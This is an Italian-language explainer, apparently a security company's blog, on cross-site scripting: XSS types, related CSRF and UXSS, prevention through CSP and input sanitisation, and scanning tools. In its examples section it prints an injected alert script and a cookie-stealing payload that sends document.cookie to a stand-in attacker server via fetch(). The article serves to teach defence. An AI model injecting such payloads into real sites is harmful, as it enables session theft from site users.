
Le vulnerabilità dei portali su internet sono tante, non a caso il lavoro di chi si occupa di cyber security aumenta e si moltiplica. Proprio come le possibili minacce. Una delle più insidiose porta il nome di cross site scripting o attacco XSS: si tratta di un’azione malevola che attacca i siti web dinamici attraverso un form non presidiato dai sistemi di sicurezza. L’attack XSS è inserito nella Top 10 OWASP – Open Web App Security Project – che include le minacce più pericolose del web insieme a nomi come Injection e XML External Entities (XEE).
Per avere un’idea di cosa significa dover affrontare attacchi XSS possiamo ricordare che il tutto si basa sull’inserimento di una stringa di codice nei campi in cui l’utente può scrivere liberamente. Nello specifico, parliamo di script dannosi che possono intervenire in modi differenti e causa danni importanti.
D’altro canto, quando inseriamo un form per i contatti o qualsiasi altro scopo su un sito web difficilmente immaginiamo di aprire le porte ai malintenzionati. E invece c’è proprio il rischio di subire un pesante attacco attraverso script XSS. Vuoi affrontare questa minaccia e chiudere le risorse utili ai cross site scripting?
Indice dei contenuti
Cos’è un cross site scripting, definizione
Ecco la spiegazione che ogni CISO saprà darti: la minaccia cross-site scripting (nota anche come XSS) è una XSS vulnerability delle applicazioni web che consente a un cyber criminale di iniettare codice malevolo lato client. Quindi in una pagina web, grazie alla presenza di un form accessibile a tutti. Come, ad esempio, aree dedicate ai commenti, caselle per fare ricerche interne o per effettuare iscrizioni.
Questo tipo di attacco permette ai malintenzionati di danneggiare gli amministratori del sito web e gli utenti ignari che lo navigano. Ad esempio, grazie a uno script XSS che opera attraverso Javascript, i criminali digitali possono raccogliere dati della sessione e utilizzarli in modo spregiudicato. Oppure, i black hat hacker possono eseguire operazioni non autorizzate e hanno l’occasione per modificare il contenuto stesso della pagina web
Quali sono i tipi di vulnerabilità XSS?
Come puoi facilmente ipotizzare, così come esistono diversi tipi di malware e phishing, abbiamo anche tipologie differenti di XSS attack code. Quali sono le principali opzioni a disposizione dei cybercriminali?
Reflected XSS (non persistente)
Il codice malevolo, spesso definito payload XSS, viene inviato a ogni singolo utente tramite una richiesta via email o messaggio con link. Una volta cliccato, l’attacco rimanda immediatamente dal server. Il non-persistent XSS non ha natura persistente perché deve essere inviato con tecniche di ingegneria sociale simili al phishing per essere attivato. Proprio come avviene quando dobbiamo prevenire il ransomware, per affrontare i reflected cross site scripting è fondamentale non cliccare su link che non possiamo verificare.
I Self XSS sono una tipologia di attacco che prevede sempre la collaborazione dell’utente ma in una forma specifica: incollare del codice malevolo nella console del browser. Questo consente di fare danni.
Stored XSS (persistente)
Da tutti considerata la variante più pericolosa e soprattutto dannosa proprio per la sua natura continuativa. Il codice malevolo dei persistent XSS attack – noti al pubblico anche come Stored cross site scripting – viene memorizzato in modo permanente sul server (ad esempio in un database).
Così può attaccare e interessare tutti gli utenti che accedono alla pagina infestata e danneggiare per un tempo indefinito. Di solito il persistent XSS avviene attraverso i campi aperti al pubblico, tipo commenti o form email, inserendo un payload XSS nelle pagine che ricevono più traffico dagli utenti in modo da amplificare il danno del cross site scripting stored.
DOM-based XSS
L’attacco XSS DOM è particolarmente complesso da snidare per la sua natura che risulta difficile da rilevare attraverso i Web Application Firewall (WAF) e i log del server. Infatti, l’attacco XSS DOM si attiva attraverso il Document Object Model (DOM, rappresentazione strutturata di un documento web) del browser.
Evitando che il codice malevolo passi per il server. Questo tipo di attacco avviene manipolando gli URL e i relativi hash, e si può individuare solo effettuando un adeguato lavoro di analisi proprio del DOM.
Esempi di attacchi cross site scripting
Abbiamo individuato le tipologie di attacchi XSS, ora cerchiamo di evidenziare dei casi concreti con esempi di cross site scripting in modo da rendere cristallina l’operazione per individuare un possibile codice malevolo. O almeno per descrivere le procedure, il Zero Day Exploit che utilizzano per portare avanti l’attacco.
Facciamo un primo esempio di persistent XSS attack. Un black hat hacker inserisce questo script nel campo dei commenti di un blog: <script>alert('Clicca su questo link');</script>
. L’obiettivo è quello di spingere il sito web che non esegue una giusta convalida dell’input a riportare un codice specifico:
<div id="commenti">
<h2>Commenti:</h2>
<p><strong>Utente:</strong> <script>alert('Clicca su questo link');</script></p>
</div>
Questo consente di mostrare, lato utente, un’area con un link malevolo su tutte le sezioni del sito web in cui è prevista la presenza del commento. Così, ad esempio, puoi iniettare un link phishing all’insaputa del proprietario. Un altro esempio di attacco XSS è quello per rubare i dati cookie con un possibile script sempre nei campi commenti:
<script>fetch('https://nome-server-attaccante.it/?cookie=' + document.cookie);</script>
Anche in questo caso, se non c’è un controllo sui commenti e delle regole per la sicurezza del sito web si lascia via libera ai malintenzionati. Ovviamente, gli esempi di attacchi XSS devono essere intesi come semplici riferimenti per comprendere come funziona questo meccanismo.
Vulnerabilità correlate agli attacchi XSS
Il mondo delle minacce per i siti web è infinito, si sono tanti problemi che potrebbero interessare il tuo portale. Ad esempio, non c’è solo il cross site scripting ma esistono diverse vulnerabilità correlate agli attacchi come, ad esempio, l’UXSS che sfrutta falle nei browser o in componenti come plugin o estensioni. L’universal cross site scripting supera le politiche di sicurezza del browser per insidiare le sessioni web degli utenti.
Gli attacchi CSRF – cross site request forgery – sfruttano l’autenticazione implicita dell’utente presso un’applicazione per inviare richieste non autorizzate senza il suo consenso. Qual è il legame con gli attacchi XSS? Questa soluzione può essere sfruttata per amplificare l’azione negativa del CSRF attivando il codice JavaScript che invia richieste dannose.
Come prevenire il cross site scripting?
Come spesso accade in queste circostanze, il primo punto da considerare nel momento in cui vuoi evitare che ci siano casi di attacchi XSS che compromettano i tuoi dati e quelli di un’azienda per la quale lavori è la prudenza. Quindi bisogna sensibilizzare tutti su eventuali messaggi o link sospetti che potrebbero aprire le porte ai malintenzionati.
Bisogna Implementare una Content Security Policy (CSP) per prevenire gli attacchi informatici e limitare l’esecuzione di script non autorizzati e/o pericolosi. C’è bisogno di una buona sanificazione degli input per rimuovere o filtrare codice sospetto, ma anche per neutralizzare caratteri pericolosi. Per questo è importante chiedere a un’azienda specializzata di implementare una strategia per proteggere un portale istituzionale.
Strumenti per individuare gli XSS
Non è facile scovare le criticità di un sito web, e anche i professionisti che si occupano di cybersecurity utilizzano tool e scanner per individuare le criticità in termini di attacchi XSS. Ovviamente non sono sufficienti per risolvere il problema ma è da qui che inizia il percorso:
- OWASP ZAP (Zed Attack Proxy) – OWASP ZAP scan è uno strumento gratuito e open source per il test delle applicazioni web. Si tratta di un proxy che si posiziona tra il browser e l’applicazione web. Questo permette di intercettare e modificare tutto il traffico, eseguire scansioni automatiche per individuare vulnerabilità di sicurezza ed effettuare test di penetrazione.
- Acunetix – Il tuo Web Application and API Security Scanner preferito, soprattutto se hai bisogno di un tool potente. Infatti si tratta di uno strumento utilizzato dai professionisti della sicurezza informatica per identificare SQL injection, Cross-site Scripting (XSS) e file inclusion con scansioni del sito web, simulando attacchi per identificare debolezze da affrontare con le migliori pratiche di IT security.
- Burp suite – Un tool imprescindibile (soprattutto se usi la Burp suite pro) per professionisti della sicurezza informatica che vogliono testare il comportamento delle applicazioni in diversi scenari. Anche quelli più ostili. Molto diffuso anche tra gli hacker etici e white hat per effettuare il lavoro di penetration tes. Così è possibile pianificare attacchi di brute force e testare la robustezza di un portale con dati sensibili di clienti e utenti.
- Portswigger – Una struttura completa per fare testing delle applicazioni web. Tra le diverse funzioni trovi scanner automatizzato delle minacce e tool adeguati alla creazione di test per mettere alla prova la sicurezza dei siti web. Disponibile nelle versioni community (gratis), professional ed enterprise.
- XSS Scanner – Web app per effettuare delle verifiche anche in versione gratuita. Questo XSS Scanner online permette di individuare le principali vulnerabilità particolarmente rischiose in tempi minimi. E lo fa con un motore di scansione proprietario, anche se in passato usava OWASP ZAP.
La capacità di rispondere a un attacco informatico (incident response) passa dall’analisi approfondita di un portale. E, soprattutto nei casi in cui si manifesti la necessità di chiedere dati sensibili, la prudenza esige approfondimenti specifici. Come quelli che può eseguire un’azienda che si occupa proprio di cyber security.
Desideri parlare con un nostro esperto? Contattaci
Ultime News Concetti di sicurezza informatica
-
-
Cosa sapere per affrontare gli attacchi da SQL Injection
2 Dicembre 2024 -
Cos’è e come difendersi dallo sneaky phishing
20 Novembre 2024 -
Come prevenire gli attacchi ransomware
25 Maggio 2024 -
Ransomware: gestione avanzata, tendenze e futuro
16 Maggio 2024 -
Strategie avanzate contro il malware
2 Maggio 2024 -
Come prevenire, rilevare e analizzare il malware
29 Aprile 2024 -
Pharming: Cos’è, Tipologie e Come prevenirlo
21 Dicembre 2023 -
Phishing: cos’è e come prevenirlo
23 Ottobre 2023 -
La Cybersecurity prevista dall’UE: Direttiva NIS e Cybersecurity Act
26 Settembre 2023
Sicurezza informatica e cybersecurity
-
NIS2, cosa significa e come inserire la direttiva in azienda
26 Ottobre 2024 -
Cos’è un Ransomware? Ecco come attacca e come puoi proteggerti
14 Ottobre 2024 -
-
-
Come implementare il penetration test?
6 Aprile 2024 -
Sangfor: Soluzioni HCI, Cyber e Cloud
9 Gennaio 2024 -
Crittografia simmetrica e asimmetrica: significato e differenze
7 Settembre 2023 -
-
-